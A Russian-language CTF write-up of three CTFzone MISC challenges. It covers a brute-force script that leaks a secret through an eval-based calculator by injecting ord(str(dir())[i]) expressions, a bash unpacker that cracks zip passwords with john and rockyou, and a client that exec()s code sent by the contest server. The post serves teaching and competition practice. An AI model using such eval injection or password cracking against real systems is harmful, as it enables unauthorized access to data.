CTFzone write-ups — MISC it all up

от автора

image

Друзья, по сложившейся за последний месяц традиции мы предлагаем вам начать новую неделю с нового райтапа. В этом посте мы подробно разберем задания из направления MISC, куда вошли все задания, не подходящие ни под какую другую категорию. Тут был нужен особенный креатив 😉

Ветка MISC нашла отклик в душе наших игроков — за время соревнований мы получили около 300 флагов. Заметим, что из всех тасков на 1000, задание из этой категории было наиболее популярным — над ним ломали голову многие, но успеха достигли всего несколько человек. Поэтому мы решили пропустить задания на 50 и 100 очков и сразу перейти к более сложным и интересным заданиям. Поехали!

MISC_300. Lithium|Beta

A.U.R.O.R.A.: Lieutenant Friend, seems like this computer is frozen and we don’t have time to fix it. So from now on we have only this calculator interface (nc). I have to admit that your predecessor Lieutenant Petr was a very lazy developer (no idea how he managed to get on this ship) and he failed to complete Compiler Design course. So he wrote calculator in the easiest way using the simplest tools. I know that it’s quite complicated but you have to hurry, we haven’t got much time!

Решение:

Запускаем программу и видим, что это обычный калькулятор.

image

Как следует из легенды, эту программу писал ленивый разработчик. Скорее всего, это свидетельствует о том, что вместо парсинга математических выражений используется простой eval.

Как видно на скриншоте, есть вывод названий ошибок, но без трейсов:

image

Судя по ошибкам, в ответ отдается результат, приведенный к типу float. Если результат привести нельзя, то возникает ValueError. Если нет такой функции, то NameError.
Попробуем выяснить список доступных функций методом перебора.

image

При этом все попытки использовать underscore, например, class, не работают из-за HackingAttempt.
Но, используя ord и str, можно вычислить любую переменную, например, результат dir, который возвращает список всех доступных имен в окружении.

Код бруттера:

#!/usr/bin/python2 import socket  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("95.85.41.197", 8888))  print s.recv(1024)  result = '' for i in range(0, 300):   request = "ord(str(dir())[%d])" % i  # request = "ord(verysecretflag[%d])" % i   s.send(request)   response = s.recv(32)   if 'Err' in response or 'occurred' in response:     result += '_'   else:     result += chr(int(response.split(': ')[1].split('.')[0])) print result

В результате перебора получается следующий список:

['HackingAttempt', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'e', 'f', 'inp', 'print1337', 're', 'regex', 'sys', 'verysecretflag']

Флаг лежит в переменной verysecretflag. Print, он переименован в print1337
Чтобы получить ответ, следует сделать вот так:

image

Вот и наш флаг!

Ответ: ctfzone{123456}

MISC_500. Archive maniac

A.U.R.O.R.A.: Oh God! Lieutenant, I need you here on the ship control station. Autopilot is broken and we need a secret code to switch to manual control. Only our pilot Chekhov knows it and he is dead drunk, so you have to figure it out. I noticed that he was concerned about storage efficiency and confidentiality. And he also preferred number 32 to 64 with no obvious reason.

Решение:

В этом задании участнику предлагается найти секретный код, однако сложность заключается в том, что этот ключ зашифрован. К сожалению, тот, кто обладает информацией, в ближайшие сутки ничего вразумительного сказать не сможет… Мы знаем, что он старался обеспечить надежное хранение и конфиденциальность, а также почему-то и предпочитал число 32 вместо 64. Попробуем разобраться.

Для начала посмотрим на наши исходные данные. В самом задании дается ссылка на архив arch.tar.gz, в котором содержатся следующие файлы:

Файлы архива

[briskly@archlinux tmp]$ tar -xvf arch.tar.gz  archive/ archive/flag3.png archive/flag9.png archive/flag7.png archive/flag6.png archive/flag2.png archive/flag4.png archive/flag5.png archive/flag0.png archive/flag1.png archive/flag8.png archive/.gitkeep [briskly@archlinux tmp]$ file archive/* archive/flag0.png: cpio archive archive/flag1.png: bzip2 compressed data, block size = 900k archive/flag2.png: bzip2 compressed data, block size = 900k archive/flag3.png: compress'd data 16 bits archive/flag4.png: LRZIP compressed data - version 0.6 archive/flag5.png: rzip compressed data - version 2.1 (370344 bytes) archive/flag6.png: compress'd data 16 bits archive/flag7.png: Zip archive data archive/flag8.png: ARJ archive data, v11, slash-switched, original name: , os: Unix archive/flag9.png: cpio archive

Похоже, что в архиве 10 файлов с расширением .png, но при этом каждый файл является архивом. Судя по листингу файлов, архивы очень разные. Пришло время учиться пользоваться экзотикой.

Пожалуй, начнем:

[briskly@archlinux archive]$ bzip2 -d flag1.png bzip2: Can't guess original name for flag1.png -- using flag1.png.out [briskly@archlinux archive]$ file flag1.png.out  flag1.png.out: LRZIP compressed data - version 0.6

Похоже, что в этих архивах находятся другие архивы. Пробуем расшифровать zip файл. 7z сразу попросил пароль:

[briskly@archlinux archive]$ 7z x flag7.png 7-Zip [64] 16.02: Copyright (c) 1999-2016 Igor Pavlov: 2016-05-21 p7zip Version 16.02 (locale=ru_RU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (406E3),ASM,AES-NI)  Scanning the drive for archives: 1 file, 385755 bytes (377 KiB)  Extracting archive: flag7.png -- Path = flag7.png Type = zip Physical Size = 385755  Enter password (will not be echoed):

В данном случае стоит автоматизировать процесс извлечения из архива, поскольку их очень много:

Извлекаем из архива

#!/bin/bash  FILE="$1" FLAG="flag.png" TMP_DIR="PNGs"  # Dirty: [ ! -d "./$TMP_DIR" ] && mkdir "$TMP_DIR" && echo -e "\n [+] Creating temp folder: $TMP_DIR." [ ! -f "./$FLAG" ] && cp $FILE flag.png && echo -e " [+] Creating temp file: $FLAG.\n"  deArch () {     CHECK=`file "$FLAG"`      if [[ $CHECK == *"rzip compressed data"* ]]     then         echo -e " [*] Now $FLAG is RZIP data (.rz)\n [+] Extracting $FLAG\n"         mv flag.png{,.rz}         runzip -d flag.png.rz         #rm flag.png.rz         sleep 1         deArch      elif [[ $CHECK == *"LRZIP compressed data"* ]]     then         echo -e " [*] Now $FLAG is LRZIP archive (.lrz)\n [+] Extracting $FLAG\n"         mv flag.png{,.lrz}         lrunzip flag.png.lrz > /dev/null         rm flag.png.lrz         sleep 1         deArch      elif [[ $CHECK == *"bzip2 compressed data"* ]]     then         echo -e " [*] Now $FLAG is BZIP file (.bz2)\n [+] Extracting $FLAG\n"         mv flag.png{,.bz2}         bzip2 -d flag.png.bz2 #> /dev/null         sleep 1         deArch      elif [[ $CHECK == *"compress'd data 16 bits"* ]]     then         echo -e " [*] Now $FLAG is unix compressed file (.z)\n [+] Extracting $FLAG\n"         mv flag.png{,.z}         uncompress flag.png.z         sleep 1         deArch      elif [[ $CHECK == *"7-zip archive data"* ]]     then         echo -e " [*] Now $FLAG is 7-ZIP archive (.7z)\n [+] Extracting $FLAG\n"         mv flag.png{,.7z}         7z x flag.png.7z > /dev/null         rm flag.png.7z         sleep 1         deArch      elif [[ $CHECK == *"ARJ archive data, v11, slash-switched"* ]]     then         echo -e " [*] Now $FLAG is ARJ archive (.arj)\n [+] Extracting $FLAG\n"         mv flag.png{,.arj}         arj x flag.png.arj > /dev/null         rm flag.png.arj         sleep 1         deArch      elif [[ $CHECK == *"cpio archive"* ]]     then         echo -e " [*] Now $FLAG is CPIO archive (.cpio)\n [+] Extracting $FLAG\n"         mv flag.png{,.cpio}         cpio -idv < flag.png.cpio 2> /dev/null         rm flag.png.cpio         sleep 1         deArch      elif [[ $CHECK == *"current ar archive"* ]]     then         echo -e " [*] Now $FLAG is AR archive (.a)\n [+] Extracting $FLAG\n"         mv flag.png{,.a}         ar x flag.png.a         rm flag.png.a         sleep 1         deArch      elif [[ $CHECK == *"Zip archive data"* ]]     then         echo -e " [*] Now $FLAG is zip archive (.zip)\n [+] Extracting $FLAG\n"         mv flag.png{,.zip}         #mv flag.png{,.7z}          ENC_CHCK=`7z l -slt -- flag.png.zip | grep -ic "Encrypted = +"`         if [ "$ENC_CHCK" -eq "1" ]         then             #exit 1             echo " [!] PASSWORD pretocted archive"             zip2john flag.png.zip | awk -F: '{print $2}' > hash.lst             rm -rf /root/.john/john.*             #ZIP_PASS=`john hash.lst 2>&1 > /dev/null | awk '/\(\?\)/ {print $1}'`             ZIP_PASS=`john hash.lst --wordlist=/usr/share/wordlists/rockyou.txt 2>&1 | awk '/\(\?\)/ {print $1}'`              if [[ -z "$ZIP_PASS" ]]             then                 #echo -e "$ZIP_PASS"                 echo -e " [-] Your pass was not found, please, try it manually..."             else                 echo -e " [+] Voila! Your pass is: \e[1;33m$ZIP_PASS\e[0;0m, extracting an archive...\n"                 7z x -p"$ZIP_PASS" flag.png.zip > /dev/null                 rm flag.png.zip                 sleep 1                 deArch             fi         else             7z x flag.png.zip             sleep 1             deArch         fi          #sleep 1         #deArch      elif [[ $CHECK == *"PNG image data"* ]]     then         echo -e " [\e[1;32m*\e[0;0m] Now $FLAG is PNG image file !!!\n [\e[1;32m+\e[0;0m] Open this: ./$TMP_DIR/$FILE\n"         sleep 1         #eog flag.png 2> /dev/null         mv $FLAG $TMP_DIR/$FILE         exit 0      else         echo -e "\n [-] Hernya! $CHECK"     fi }  deArch

Результат работы скрипта:

Результат

bash deArch.sh flag4.png    [+] Creating temp folder: PNGs.  [+] Creating temp file: flag.png.   [*] Now flag.png is ARJ archive (.arj)  [+] Extracting flag.png   [*] Now flag.png is zip archive (.zip)  [+] Extracting flag.png   [!] PASSWORD pretocted archive  [+] Voila! Your pass is: love123, extracting an archive...   [*] Now flag.png is unix compressed file (.z)  [+] Extracting flag.png   [*] Now flag.png is AR archive (.a)  [+] Extracting flag.png   [*] Now flag.png is BZIP file (.bz2)  [+] Extracting flag.png   [*] Now flag.png is CPIO archive (.cpio)  [+] Extracting flag.png   [*] Now flag.png is RZIP data (.rz)  [+] Extracting flag.png   [*] Now flag.png is 7-ZIP archive (.7z)  [+] Extracting flag.png   [*] Now flag.png is LRZIP archive (.lrz)  [+] Extracting flag.png   [*] Now flag.png is PNG image file !!!  [+] Open this: ./PNGs/flag4.png

В результате из файла вытаскивается flag4.png

image

Итак, получена картинка! Посмотрим, что внутри – может быть, там есть стеганография?
Для этого запустим Stegsolve, и, изменив некоторые настройки, получим что-то вполне разборчивое:

image

Судя по знакам =, это похоже на base64. Но все буквы заглавные (uppercase). Вспомним легенду, где сказано, что тот человек, который обладал знаниями, предпочитал число 32. Попробуем base32, в результате чего получаем TPAU’XAPDEP.
Выполняем те же действия по отношению к остальным файлам.

В итоге получаем следующее:

thisnotaflag thisisflag,joke noflaghere noo000000op CTFZONE{5dbb39d62d31b1c notflagagain flagwashere 025f3b0e3a987d375}part2 kakoyflag? TPAU'XAPDEP

Вот и наш флаг!

Ответ: ctfzone{5dbb39d62d31b1c025f3b0e3a987d375}part2

MISC_1000. Molibden|Gamma

A.U.R.O.R.A.: Lieutenant, you’ve got to the command center. It’s time to go home and join our comrades! Wait, something is wrong with the systems. Some basic libraries are lost. Computer can’t find the route. You need to help computer make some simple calculations. Quick, we are almost there!

Решение:

Итак, мы практически у цели! Чтобы получить управление кораблем, необходимо исправить ошибку в системе.

Итак, запускаем программу. Пример работы программы мы видим на скриншоте.

image

Из легенды понятно, что нам нужно интерпретировать код, который присылает сервер.
Для получения решения придется показать свои навыки программирования.

Так как код написан на Python, то первое очевидное решение – это сделать exec и отправить его результат обратно. Код будет выглядеть следующим образом:

from socket import create_connection from time import time  sock = create_connection(("95.85.41.197", 8887))  for i in range(10):     res = None     code = sock.recv(102400)     code = code.decode()     code = "\n".join(code.split("\n")[:-2])     if "gone wrong" in code:         print(code)         exit(0)      start = time()     l = res = None      print(code)     exec(code)     res = res or l      print(time() - start)     code = None      res = str(res).encode()     try:         sock.send(res + b"\n")     except Exception:         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         break

После этого приходит код со sleep, который тормозит исполнение:

from time import sleep  k = 96 s = 36 c = 98  mas = []  for i in range(c):     sleep(0.1)     mas.append(s)     s += k  res = 0  for el in mas:     sleep(0.1)     res += el  print(res)

Эта проблема решается просто вырезанием sleep по регулярке. Например, вот так:

code = code.replace("sleep(0.1)", "")

Следующее усложнение заключается в том, что sleep переименовывается при импорте:

from time import sleep as JecYvyk

В данном случае можно написать регулярку или просто сделать replace:

code = code.replace("sleep", "gmtime")

В следующий раз решение останавливается на шаге с кодом, в котором используются большие числа:

from time import gmtime as rluVx  k = 82194181 s = 55474764 c = 54888629  mas = []  for i in range(c):     rluVx(2*0.01)     mas.append(s)     s += k  res = 0  for el in mas:     rluVx(2*0.01)     res += el  print(res)

На данном этапе программа не выполняется по двум причинам — либо заканчивается память, либо сервер выдает ошибку:

Something gone wrong: TimeoutError

Очевидно, что просто решить данную задачу не получится, придется разбираться в коде. При первой оценке кода можно заметить, что это очень похоже на сумму арифметической прогрессии.
Так как функция написана действительно неэффективно, то вместо обычного подсчета линейной формулой, формируется массив со всеми элементами арифметической прогрессии, а потом складывается. Напишем эту формулу:

def solve(k, s, c):     return str((2*s + k*(c-1))*c//2)

Выглядит она довольно просто.

Следующая проблема заключается в том, что перестает успевать выполняться код:

from time import sleep as Rkyv from random import shuffle  l = [5984807, 6299947, 10119240, 13578507, 14224900, 15238270, 15513380, 16429758]  while True:     Rkyv(0o10*0.01)     shuffle(l)     prev = None     is_sorted = True     for el in l:         Rkyv(0o10*0.01)         if prev is None:             prev = el         elif prev >= el:             is_sorted = False             break         prev = el     if is_sorted:         break print(l)

Придется разобраться и с этой задачей. Очень похоже на monkey_sort, но, судя по всему, этот код выполнить невозможно. Перепишем на обычный sort, который предоставляет нам Python. Но и этого оказывается недостаточно.
В результате наступает момент, когда обычный exec перестает успевать считать ‘страшный’ обфусцированный код:

Страшный обфусцированный код

from time import sleep as EB  s = b'Vt\xe9\xe9\xed\x05J\xdaEQ'  def func3(s):     def func1(OOOOOOOOO0000OOO0 ):         ""         PI_SUBST =[41 ,46 ,67 ,201 ,162 ,216 ,124 ,1 ,61 ,54 ,84 ,161 ,236 ,240 ,6 ,19 ,98 ,167 ,5 ,243 ,192 ,199 ,115 ,140 ,152 ,147 ,43 ,217 ,188 ,76 ,130 ,202 ,30 ,155 ,87 ,60 ,253 ,212 ,224 ,22 ,103 ,66 ,111 ,24 ,138 ,23 ,229 ,18 ,190 ,78 ,196 ,214 ,218 ,158 ,222 ,73 ,160 ,251 ,245 ,142 ,187 ,47 ,238 ,122 ,169 ,104 ,121 ,145 ,21 ,178 ,7 ,63 ,148 ,194 ,16 ,137 ,11 ,34 ,95 ,33 ,128 ,127 ,93 ,154 ,90 ,144 ,50 ,39 ,53 ,62 ,204 ,231 ,191 ,247 ,151 ,3 ,255 ,25 ,48 ,179 ,72 ,165 ,181 ,209 ,215 ,94 ,146 ,42 ,172 ,86 ,170 ,198 ,79 ,184 ,56 ,210 ,150 ,164 ,125 ,182 ,118 ,252 ,107 ,226 ,156 ,116 ,4 ,241 ,69 ,157 ,112 ,89 ,100 ,113 ,135 ,32 ,134 ,91 ,207 ,101 ,230 ,45 ,168 ,2 ,27 ,96 ,37 ,173 ,174 ,176 ,185 ,246 ,28 ,70 ,97 ,105 ,52 ,64 ,126 ,15 ,85 ,71 ,163 ,35 ,221 ,81 ,175 ,58 ,195 ,92 ,249 ,206 ,186 ,197 ,234 ,38 ,44 ,83 ,13 ,110 ,133 ,40 ,132 ,9 ,211 ,223 ,205 ,244 ,65 ,129 ,77 ,82 ,106 ,220 ,55 ,200 ,108 ,193 ,171 ,250 ,36 ,225 ,123 ,8 ,12 ,189 ,177 ,74 ,120 ,136 ,149 ,139 ,227 ,99 ,232 ,109 ,233 ,203 ,213 ,254 ,59 ,0 ,29 ,57 ,242 ,239 ,183 ,14 ,102 ,88 ,208 ,228 ,166 ,119 ,114 ,248 ,235 ,117 ,75 ,10 ,49 ,68 ,80 ,180 ,143 ,237 ,31 ,26 ,219 ,153 ,141 ,51 ,159 ,17 ,131 ,20 ]         O00OOOO0OOOO00000 =OOOOOOOOO0000OOO0          OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )         O00OOOO0OOOO00000 +=chr (16 -(OO00OO000OO0OO000 %16 )).encode ("utf-8")*(16 -(OO00OO000OO0OO000 %16 ))         O00OOOO0O0OOO00O0 =O00OOOO0OOOO00000          OO00OO000OO0OO000 =len (O00OOOO0OOOO00000 )         OOOOO0O0000000OO0 =bytearray (b"\x00"*16 )         OO0O0O000OOOO0O0O =0          for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):             EB(0x3*0.01)             for OO00O00OOO000OO00 in range (16 ):                 EB(0x3*0.01)                 O0O0OOOO000O0OO0O =O00OOOO0O0OOO00O0 [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]                 OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]=OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]^PI_SUBST [O0O0OOOO000O0OO0O ^OO0O0O000OOOO0O0O ]                 OO0O0O000OOOO0O0O =OOOOO0O0000000OO0 [OO00O00OOO000OO00 ]          OO0OOO00OOO00000O =O00OOOO0O0OOO00O0 +OOOOO0O0000000OO0          OO00OO000OO0OO000 +=16          OOO00O00O0O0O0OO0 =bytearray ([0 ])*48          for O0OOO0OO000OO00O0 in range (OO00OO000OO0OO000 //16 ):             for OO00O00OOO000OO00 in range (16 ):                 EB(0x3*0.01)                 OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]=OO0OOO00OOO00000O [O0OOO0OO000OO00O0 *16 +OO00O00OOO000OO00 ]                 OOO00O00O0O0O0OO0 [32 +OO00O00OOO000OO00 ]=OOO00O00O0O0O0OO0 [16 +OO00O00OOO000OO00 ]^OOO00O00O0O0O0OO0 [OO00O00OOO000OO00 ]             OOOO0O0OO000000OO =0              for OO00O00OOO000OO00 in range (18 ):                 EB(0x3*0.01)                 for OOOO00O00OOO0OOOO in range (48 ):                     EB(0x3*0.01)                     OOOO0O0OO000000OO =OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]=OOO00O00O0O0O0OO0 [OOOO00O00OOO0OOOO ]^PI_SUBST [OOOO0O0OO000000OO ]                 OOOO0O0OO000000OO =(OOOO0O0OO000000OO +OO00O00OOO000OO00 )%256          return bytes (OOO00O00O0O0O0OO0 [:16 ])      OO0OOOO00OO0O0O0O = b'Vt\xe9\xe9\xed\x05J\xdaEQ'      def func2(OO0OOOO00OO0O0O0O):         O00O00OO000OOO00O ='0123456789abcdef'         return b''.join(map(lambda x: x.encode(), map(lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O ))))      for i in range(100):         OO0OOOO00OO0O0O0O = func2(OO0OOOO00OO0O0O0O)     return OO0OOOO00OO0O0O0O.decode()      #print(''.join (map (lambda O00O0OO0O0OOOO0O0 :O00O00OO000OOO00O [(O00O0OO0O0OOOO0O0 >>4 )&0xf ]+O00O00OO000OOO00O [O00O0OO0O0OOOO0O0 &0xf ],func1 (OO0OOOO00OO0O0O0O )))) res = func3(s) print(res)

В ходе небольшой деобфускации становится понятно, что скорее всего это какая-то хеш функция, которая последовательно применяется 100 раз. Далее пройти можно двумя способами: либо просто переписать данную функцию на чем-то более быстром (например, C++), либо попробовать поискать таблицу замен, которая захардкожена в коде.

Попробуем погуглить:

image

Достаточно легко догадаться, что это md2. В PYCRYPTO есть быстрая реализация этой функции:

from Crypto.Hash import MD2  def solve(inp):     for i in range(params.get("count")):         h = MD2.new()         h.update(inp)         inp = h.hexdigest()     return inp 

Результирующий код solver:

Код solver

import re import json from socket import create_connection from solves import md2 from solves import arifmetic from time import time  sock = create_connection(("95.85.41.197", 8887))  r1 = re.compile(r"l = (\[.*\])") r21 = re.compile(r"OO0OOOO00OO0O0O0O = (b('|\").*('|\"))\n") r22 = re.compile(r"    for i in range\((\d+)\):") r3 = re.compile(r".*k = (?P<k>\d+)\ns = (?P<s>\d+)\nc = (?P<c>\d+).*")  def solve1(code):     reverse = True     if ">" in code:         reverse = False     code = code.split("while True:")[0]     lst = r1.findall(code)[0]     lst = json.loads(lst)     lst.sort(reverse=reverse)     return lst  def solve2(code):     data = eval((r21.findall(code))[0][0])     count = int(r22.findall(code)[0])     res = md2.solve({"string": data, "count": count})     return res  def solve3(code):     for m in r3.finditer(code):         print (arifmetic.solve({k: int(v) for k, v in m.groupdict().items()}))         return arifmetic.solve({k: int(v) for k, v in m.groupdict().items()})  while True:     res = None     code = sock.recv(102400)     code = code.decode()     code = "\n".join(code.split("\n")[:-2])     code = code.replace("sleep(0.1)", "")     if "gone wrong" in code:         print(code)         exit(0)      start = time()     if "shuffle" in code:         res = solve1(code)     elif "OO0OOOO00OO0O0O0O" in code:         res = solve2(code)     elif "mas.append" in code:         res = solve3(code)     else:         print("EXECING")         print(code)         exec(code)         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         print(sock.recv(102400))         exit(0)     print(time()-start)     code = None      res = str(res).encode()     try:         sock.send(res + b"\n")     except Exception:         print(sock.recv(102400))         print(sock.recv(102400))         break

В результате получаем долгожданный флаг!

image

Ответ: ctfzone{YouRealyHaveSoMuchTime?}

Кстати, по вашим многочисленным просьбам мы выложили оффлайн задания – теперь поиграться с райтапами можно на этом портале. Но не забывайте про наши задания по хайрингу, они будут доступны еще 10 дней до 15.12 – время еще есть!

Если у вас остались какие-то вопросы – оставляйте комментарии и пишите в наш чат в Telegram. Ничего так не вдохновляет, как ваша активность 🙂

Всем добра и удачи!

ссылка на оригинал статьи https://habrahabr.ru/post/316846/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *